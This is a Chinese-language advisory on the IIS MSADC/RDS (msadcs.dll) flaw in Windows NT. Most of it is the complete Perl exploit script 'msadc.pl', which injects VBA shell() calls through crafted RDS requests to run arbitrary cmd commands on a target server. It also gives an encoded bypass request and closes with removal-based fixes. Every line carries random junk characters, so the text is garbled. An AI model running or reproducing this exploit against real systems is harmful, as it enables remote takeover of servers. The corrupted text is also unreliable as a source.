IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]esC[r]PJ C _Dn{ 涉及程序：
r&CiSMS* Microsoft NT server
uFE)17E C]6O!Pb0 描述：
CTb%(<r 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
oU8q o-J1H A"]YM'. 详细：
kmW4:EA% 如果你没有时间读详细内容的话，就删除:
'DR!9De c:\Program Files\Common Files\System\Msadc\msadcs.dll
3BI1fXT4=j 有关的安全问题就没有了。
P0@,fd< j%kncGS 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
6m93puY`7
D7Z /H'| 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Xvu(vA 关于利用ODBC远程漏洞的描述，请参看:
.A|udZ, 9;{C IMg& http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]Z e1s02( 0kh6@y3 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
W\3X=@|u) http://www.microsoft.com/security/bulletins/MS99-025faq.asp dPlV>IM$z RZLq]8 pM 这里不再论述。
MtdG>TzUn ?s01@f# 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
(QEG4&9 )nkY_' BV /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
t Q)qCk07 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
B\~}3!j }2jn[${ pr e'~3oqSvR #将下面这段保存为txt文件，然后: "perl -x 文件名"
c 9Mz]1@f 4hB]vY\T #!perl
wk^B"+Uhy #
M`_0C38
# MSADC/RDS 'usage' (aka exploit) script
x2xRBkRg= #
G c?a +T # by rain.forest.puppy
YK_ 7ip.a[ #
4#D,?eA 7 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
}BEB1Q}L # beta test and find errors!
hN_]6,<\ Yy8g( bU use Socket; use Getopt::Std;
#!=tDc
& getopts("e:vd:h:XR", \%args);
_ q"Gix 43cE`9~ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
$ n b[GV NEs:},)o if (!defined $args{h} && !defined $args{R}) {
WJi]t9 3 print qq~
%d @z39-; Usage: msadc.pl -h <host> { -d <delay> -X -v }
q.vIc
?a -h <host> = host you want to scan (ip or domain)
Wwo0%< 2y -d <seconds> = delay between calls, default 1 second
`[ A];] -X = dump Index Server path table, if available
+@ UV?"d -v = verbose
i b m4fa -e = external dictionary file for step 5
/r 5eWR1G +T ?NH9 Or a -R will resume a command session
XW/o<[91 YSMAd-Ef- ~; exit;}
+ZYn? #IQ ZCw ]m#lS $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
f$( e\+ + if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
gw(z1L5
n if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
7)m9"InDI if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
!>tL6+yj $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Bvj0^fSm if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
=N@t'fOr /reX{Y if (!defined $args{R}){ $ret = &has_msadc;
BUFv|z+H die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
E`q_bn 9uY'E'm* print "Please type the NT commandline you want to run (cmd /c assumed):\n"
0(I j%Wi, . "cmd /c ";
POW>~Tof1 $in=<STDIN>; chomp $in;
0x7'^Z>-oe $command="cmd /c " . $in ;
- &f$GUTJ s{++w5s if (defined $args{R}) {&load; exit;}
ivPg9J1S zi:BF60]= print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
.hiS w &try_btcustmr;
@o^Ww l2d{ 73h print "\nStep 2: Trying to make our own DSN...";
+(*DT9s+ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
' yth'[ |}1d Fp print "\nStep 3: Trying known DSNs...";
U.TA^S ]`g &known_dsn;
Bt#N4m[X*| /(T?j!nPE print "\nStep 4: Trying known .mdbs...";
x"(KBEK~ &known_mdb;
) +M0Y_r z2c6T.1M if (defined $args{e}){
HDKbF/ print "\nStep 5: Trying dictionary of DSN names...";
&zs$x?/ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
2tLJU Z1 h~26WLf. print "Sorry Charley...maybe next time?\n";
/bEAK- exit;
k8Xm n6X X.V~SeS ##############################################################################
3F0 N^)@ | 3%8&@ho sub sendraw { # ripped and modded from whisker
$"&JWT!# sleep($delay); # it's a DoS on the server! At least on mine...
s(^mZ
-i my ($pstr)=@_;
,47qw0=C socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Y~Ifj,\ die("Socket problems\n");
S$k&vc(0 if(connect(S,pack "SnA4x8",2,80,$target)){
]d`VT)~vje select(S); $|=1;
DJ%PWlK5 print $pstr; my @in=<S>;
h$=2 p5'- select(STDOUT); close(S);
<or2 return @in;
,P Z ge } else { die("Can't connect...\n"); }}
|M_UQQAB| <1 pEwI~ ##############################################################################
Ha ]YJ} V+~Nalm O sub make_header { # make the HTTP request
ap~^Ty<> my $msadc=<<EOT
[r-p]"R POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
I l.K"ll User-Agent: ACTIVEDATA
/@Zrq#o
zx Host: $ip
ZN6Z~SL_i~ Content-Length: $clen
6^Sa; Connection: Keep-Alive
`"~%bS Tf)*4O 4@' ADCClientVersion:01.06
Fx+*S3==%e Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
X jX2] =2 kG%9 --!ADM!ROX!YOUR!WORLD!
:Yks|VJ1 Content-Type: application/x-varg
@I*{f Content-Length: $reqlen
03(4 x'z v}x&?fU ` EOT
Z)\@i=m ; $msadc=~s/\n/\r\n/g;
C
$JmzrE return $msadc;}
?
qA]w9x Q IgNsz ##############################################################################
PT9*)9<L 0L KRN|@ sub make_req { # make the RDS request
MWL%
Bz my ($switch, $p1, $p2)=@_;
_~
& iq1 my $req=""; my $t1, $t2, $query, $dsn;
mQ=#nk$~g 2Gdd*=4z if ($switch==1){ # this is the btcustmr.mdb query
J")#I91 $query="Select * from Customers where City=" . make_shell();
P2*<GjV`S/ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
3&/I xm: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
-GgA&dh 1r7 y]FyH$ elsif ($switch==2){ # this is general make table query
!YJs]_Wr $query="create table AZZ (B int, C varchar(10))";
e!r-+.i( $dsn="$p1";}
lPJ\-/>$z 2>H24F elsif ($switch==3){ # this is general exploit table query
.% OR3" 9@ $query="select * from AZZ where C=" . make_shell();
p6WX9\qS( $dsn="$p1";}
6u}</>} -S+zmo8 elsif ($switch==4){ # attempt to hork file info from index server
t. '!`5G $query="select path from scope()";
ilva,WFa^ $dsn="Provider=MSIDXS;";}
\r>6`-cs]
*cnNu T elsif ($switch==5){ # bad query
RAK-UN $query="select";
0{ [,E. $dsn="$p1";}
4 N7^? c7E11 \%&Z $t1= make_unicode($query);
3< zp $t2= make_unicode($dsn);
Z87|Zl $req = "\x02\x00\x03\x00";
Zoc0!84<z $req.= "\x08\x00" . pack ("S1", length($t1));
6B
?twh) $req.= "\x00\x00" . $t1 ;
<V6VMYXY4 $req.= "\x08\x00" . pack ("S1", length($t2));
f0aKl hEC $req.= "\x00\x00" . $t2 ;
'oC)
NpnH $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
C C^'@~)? return $req;}
(/*]?Ehd ~**.|%Kc ##############################################################################
{T
Ug. %u }I6vqG sub make_shell { # this makes the shell() statement
f:.I0 ST return "'|shell(\"$command\")|'";}
q =qcm`ce 4 vV:E F- ##############################################################################
r_;N t VgC2+APg sub make_unicode { # quick little function to convert to unicode
1q1jZqno my ($in)=@_; my $out;
`P;s 8~ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
^4Ah_ U return $out;}
1s@+;QUib Ktm4 A O ##############################################################################
~ Pah oRS yw3$2EW sub rdo_success { # checks for RDO return success (this is kludge)
)sp4Ie my (@in) = @_; my $base=content_start(@in);
%O;bAC_M if($in[$base]=~/multipart\/mixed/){
:e%Pvk return 1 if( $in[$base+10]=~/^\x09\x00/ );}
YNj`W1 return 0;}
)$bS }. <)-Sj, ##############################################################################
hJ# xB6 X~,aNR y sub make_dsn { # this makes a DSN for us
5K?IDt7A] my @drives=("c","d","e","f");
&wE%<"aRAl print "\nMaking DSN: ";
#!KE\OI;@5 foreach $drive (@drives) {
aC.~&MxFC print "$drive: ";
V2|aN<Sx< my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
<=0
u2~E "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
/& +tf* . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
s '\U ap $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
25[I=Zd S return 0 if $2 eq "404"; # not found/doesn't exist
)i^<r ;_z if($2 eq "200") {
QR0Q{}wbqU foreach $line (@results) {
Z%/=|[9i return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
* 8_wYYH } return 0;}
V<uR>TD( 04l !:Tp, ##############################################################################
m~d]a$KQ5- =i*;VFc sub verify_exists {
aV|hCN~ my ($page)=@_;
c~uKsU my @results=sendraw("GET $page HTTP/1.0\n\n");
L(-b@Joh return $results[0];}
q $tUH)0 [^e%@TV>d ##############################################################################
:~T99^$zA \2"I; sub try_btcustmr {
uIZ -#q my @drives=("c","d","e","f");
9:1Q1,-i!- my @dirs=("winnt","winnt35","winnt351","win","windows");
"4+ WZR] E!l!OtFL foreach $dir (@dirs) {
Y>G@0r BG print "$dir -> "; # fun status so you can see progress
R:k5QD9/&p foreach $drive (@drives) {
g/+C@_&m print "$drive: "; # ditto
DN~nk $reqlen=length( make_req(1,$drive,$dir) ) - 28;
=&2 Lb $reqlenlen=length( "$reqlen" );
`A^"% @j $clen= 206 + $reqlenlen + $reqlen;
5$&%r e!{Z
!0@Yplj my @results=sendraw(make_header() . make_req(1,$drive,$dir));
87P>IO if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
TbGn46!: else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
vUU9 $x dEA6 ##############################################################################
TDNQu_E (Cd\G=PK sub odbc_error {
uv(Sdiir8 my (@in)=@_; my $base;
yXF?H"h( my $base = content_start(@in);
qA $*YIlK if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
e5B Qr$j $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7-T{a< g $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#+5 pgD2C $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{{MRELipW return $in[$base+4].$in[$base+5].$in[$base+6];}
Z2='o_c print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
3]UUG print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
ez^@NK $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
hn= [1<#^( Boz@bl mCB ##############################################################################
?)X,0P' [4C: r! sub verbose {
>W`4aA my ($in)=@_;
kO{s^_qR^c return if !$verbose;
C@W"yYt print STDOUT "\n$in\n";}
<**y !2 cw W odPNm ##############################################################################
@ u%_1 UE ,t8j sub save {
Zx bq my ($p1, $p2, $p3, $p4)=@_;
:WL'cJ9a open(OUT, ">rds.save") || print "Problem saving parameters...\n";
5<j%EQN|D print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
$K'|0 close OUT;}
1u(.T0j7f [$"n^5_~ ##############################################################################
i?e`:} T Za8#$`zq sub load {
Adgc%
.# my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
h!:~f-@j4 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
(BfgwC) @p=<IN>; close(IN);
P*Tx14xe4 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
qt^T6+faaQ $target= inet_aton($ip) || die("inet_aton problems");
3UQ;X**F print "Resuming to $ip ...";
z,bQQ;z9 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
70mpSD3 if($p[1]==1) {
!G}+E2fDA $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
H0R&2#YD $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
0`A~HH } my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
S^<g_ q if (rdo_success(@results)){print "Success!\n";}
e^Ky<*Y else { print "failed\n"; verbose(odbc_error(@results));}}
{ e5/+W elsif ($p[1]==3){
AT)a :i if(run_query("$p[3]")){
zC:wNz@zK print "Success!\n";} else { print "failed\n"; }}
Io|Aj elsif ($p[1]==4){
=)`
p_W if(run_query($drvst . "$p[3]")){
pO kLb
# print "Success!\n"; } else { print "failed\n"; }}
&gE 75B exit;}
t
6^l `6:p
( nab ##############################################################################
"y<?Q}1 'EfR|7m sub create_table {
;kJ A'|GX my ($in)=@_;
[e4]"v` N $reqlen=length( make_req(2,$in,"") ) - 28;
~w;]c_{.b $reqlenlen=length( "$reqlen" );
D'hW| $clen= 206 + $reqlenlen + $reqlen;
V)i5=bH C my @results=sendraw(make_header() . make_req(2,$in,""));
H7k PM[ return 1 if rdo_success(@results);
?kz+R' my $temp= odbc_error(@results); verbose($temp);
^@_m "^C return 1 if $temp=~/Table 'AZZ' already exists/;
*cg(
?yg return 0;}
?}Lg)EFH d@3}U6, ##############################################################################
$e BX `K
>?ju" sub known_dsn {
}/,CbKi,+ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
A=-F,=k(!/ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
P0-Fc@&Y "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
X5*C+ I=2 "banner", "banners", "ads", "ADCDemo", "ADCTest");
_ZAch zV TV}}dw foreach $dSn (@dsns) {
M-uMZ Q e print ".";
8g >b next if (!is_access("DSN=$dSn"));
@ E53JKYhY if(create_table("DSN=$dSn")){
*X38{r j print "$dSn successful\n";
9=/N|m8. if(run_query("DSN=$dSn")){
Fequm + print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.M4IGOvOS print "Something's borked. Use verbose next time\n";}}} print "\n";}
~/tKMS6T M'1!< a-Mp ##############################################################################
W];EKj,3W 9><mp]E4 sub is_access {
Q^Bt1C my ($in)=@_;
mty1p'^KQ $reqlen=length( make_req(5,$in,"") ) - 28;
I6LD)? $reqlenlen=length( "$reqlen" );
|k {-l!HI $clen= 206 + $reqlenlen + $reqlen;
YO:&;K% my @results=sendraw(make_header() . make_req(5,$in,""));
qOG}[%<^n7 my $temp= odbc_error(@results);
Q: |w%L*E
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
sxED7,A return 0;}
fH8!YQG8$ (a6? s{( ##############################################################################
#rYENR[ 7XyOB+aQO sub run_query {
!@
YXZ my ($in)=@_;
[ev- ^[ $reqlen=length( make_req(3,$in,"") ) - 28;
9 ''p [V.3 $reqlenlen=length( "$reqlen" );
" B@jfa% $clen= 206 + $reqlenlen + $reqlen;
=<<3Pkv7@ my @results=sendraw(make_header() . make_req(3,$in,""));
[D'Gr*5~{ return 1 if rdo_success(@results);
R.1Xst &i my $temp= odbc_error(@results); verbose($temp);
rvwy~hO" return 0;}
8 HoP( +? i|\{\d ##############################################################################
hE!7R M+Y BEw {X|7 sub known_mdb {
|tG+iF@4 my @drives=("c","d","e","f","g");
:J(sXKr[C my @dirs=("winnt","winnt35","winnt351","win","windows");
S>ugRasZ $ my $dir, $drive, $mdb;
j.QHkI1. my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)45_]tk > Z%v6xP. # this is sparse, because I don't know of many
=wA5P@ my @sysmdbs=( "\\catroot\\icatalog.mdb",
[a8+( "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
O2H/rFx4 "\\system32\\certmdb.mdb",
+(ny|r[# "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
i;lE5 [b5(XIGUN} my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
3%M.U)|+ "\\cfusion\\cfapps\\forums\\forums_.mdb",
v>WB FvyD "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
b]`^KTYK "\\cfusion\\cfapps\\security\\realm_.mdb",
(G5xkygR9 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
9oq)X[ "\\cfusion\\database\\cfexamples.mdb",
`)tK^ [,<W "\\cfusion\\database\\cfsnippets.mdb",
j+1KNH "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
B/Ba5z"r$ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
%\yK5 V5 "\\cfusion\\brighttiger\\database\\cleam.mdb",
YY!! <2_ "\\cfusion\\database\\smpolicy.mdb",
fSV5 "\\cfusion\\database\cypress.mdb",
mG}k 3e - "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
KF$ %q(( "\\website\\cgi-win\\dbsample.mdb",
d[U1.SN L "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
lS 3 _Ild "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
{Tx 3$eU ); #these are just
/.-m}0h|W- foreach $drive (@drives) {
n1)'cS 5} foreach $dir (@dirs){
Q2 $/e+ foreach $mdb (@sysmdbs) {
em/Xu print ".";
Y\>\[*.v if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
W^ClHQ"Iy print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
/'NUZ9 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
`]LODgk~ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
(lb`#TTGx } else { print "Something's borked. Use verbose next time\n"; }}}}}
r1 hD
%a w}b<D#0XC foreach $drive (@drives) {
Hc
/w ta foreach $mdb (@mdbs) {
I~'gK8<e7 print ".";
5 {fwlA if(create_table($drv . $drive . $dir . $mdb)){
YRu%j4Tx print "\n" . $drive . $dir . $mdb . " successful\n";
PoY>5 if(run_query($drv . $drive . $dir . $mdb)){
S r[IoF) print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Ob g@YIwn } else { print "Something's borked. Use verbose next time\n"; }}}}
Z
c<]^QR }
I &cX8Tw C*]AL/ ##############################################################################
eFes+i( 35 Cea"qNq=k sub hork_idx {
{!g?d<* print "\nAttempting to dump Index Server tables...\n";
&8juS ,b print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
l4DeX\ly7f $reqlen=length( make_req(4,"","") ) - 28;
|M]sk? "^ $reqlenlen=length( "$reqlen" );
KdS
eCeddW $clen= 206 + $reqlenlen + $reqlen;
e=-YP8l
my @results=sendraw2(make_header() . make_req(4,"",""));
i~(#S8U4d if (rdo_success(@results)){
wiK Cr/ my $max=@results; my $c; my %d;
^]KIgGv\ for($c=19; $c<$max; $c++){
}[
7Nb90v $results[$c]=~s/\x00//g;
nO-d" S* $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
q^ u6f?B $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
IOn`cbV: $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
il=?o f\,i $d{"$1$2"}="";}
2c!h2$w foreach $c (keys %d){ print "$c\n"; }
W&WB@)ie } else {print "Index server doesn't seem to be installed.\n"; }}
jw%fN!? %+/f'6kR ##############################################################################
u_h=nk a "MTQFm' sub dsn_dict {
`6dy
U_f open(IN, "<$args{e}") || die("Can't open external dictionary\n");
tbL1g{Dz, while(<IN>){
$ 0ym_6n $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
1VRqz5 next if (!is_access("DSN=$dSn"));
9)1P+c-- if(create_table("DSN=$dSn")){
5R$=^gE print "$dSn successful\n";
6(!,H<bON if(run_query("DSN=$dSn")){
<m-Ni print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:d, >d print "Something's borked. Use verbose next time\n";}}}
Ky =(urAd print "\n"; close(IN);}
bkJwP s O8!!UA8 V ##############################################################################
qb#V) [N'r3 sub sendraw2 { # ripped and modded from whisker
=M Q2sb sleep($delay); # it's a DoS on the server! At least on mine...
[YL sEo= my ($pstr)=@_;
]W89.><%14 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
O ~7p^i} die("Socket problems\n");
#g5't4zqx if(connect(S,pack "SnA4x8",2,80,$target)){
g)2m$#T&s print "Connected. Getting data";
3JwSgc b open(OUT,">raw.out"); my @in;
p\4h$." select(S); $|=1; print $pstr;
1q;I7_{ 2 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
+_vm\]4 close(OUT); select(STDOUT); close(S); return @in;
%3#b6m~ } else { die("Can't connect...\n"); }}
A5(kOtgiT O&gy( ##############################################################################
*,Aa9wa{ .)oQM:F (h sub content_start { # this will take in the server headers
X.r!q1_c my (@in)=@_; my $c;
EX[l0]fj for ($c=1;$c<500;$c++) {
x_>"Rnv:K if($in[$c] =~/^\x0d\x0a/){
O V0 cr if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
\, X?K else { return $c+1; }}}
O~c+$( return -1;} # it should never get here actually
r;5 AY @Reh?]# v ##############################################################################
j:\_*f t 's5~ sub funky {
n^I|}u\ my (@in)=@_; my $error=odbc_error(@in);
`s|\" @2 if($error=~/ADO could not find the specified provider/){
t}* qs print "\nServer returned an ADO miscofiguration message\nAborting.\n";
6.(]}?g1f exit;}
o 2$<>1^ if($error=~/A Handler is required/){
Xl
'\krz print "\nServer has custom handler filters (they most likely are patched)\n";
j2C^ 1:s@m exit;}
Hr_x~n=w if($error=~/specified Handler has denied Access/){
$;g%S0:3) print "\nServer has custom handler filters (they most likely are patched)\n";
_j?=&tc exit;}}
[e Tck73 !{|yAt9kP ##############################################################################
%%H. &* i, !15@M|,OL sub has_msadc {
M4$4D? my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
P St|!GST my $base=content_start(@results);
WLA_YMlA return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
H#d! ` return 0;}
E].a|4sh bB [*\ ########################
I.n{ "=$B@ E t[QcB3 6!Ap;O^* 解决方案：
Y)-)NLLG;n 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
(\[ !,T"[ 2、移除web 目录: /msadc
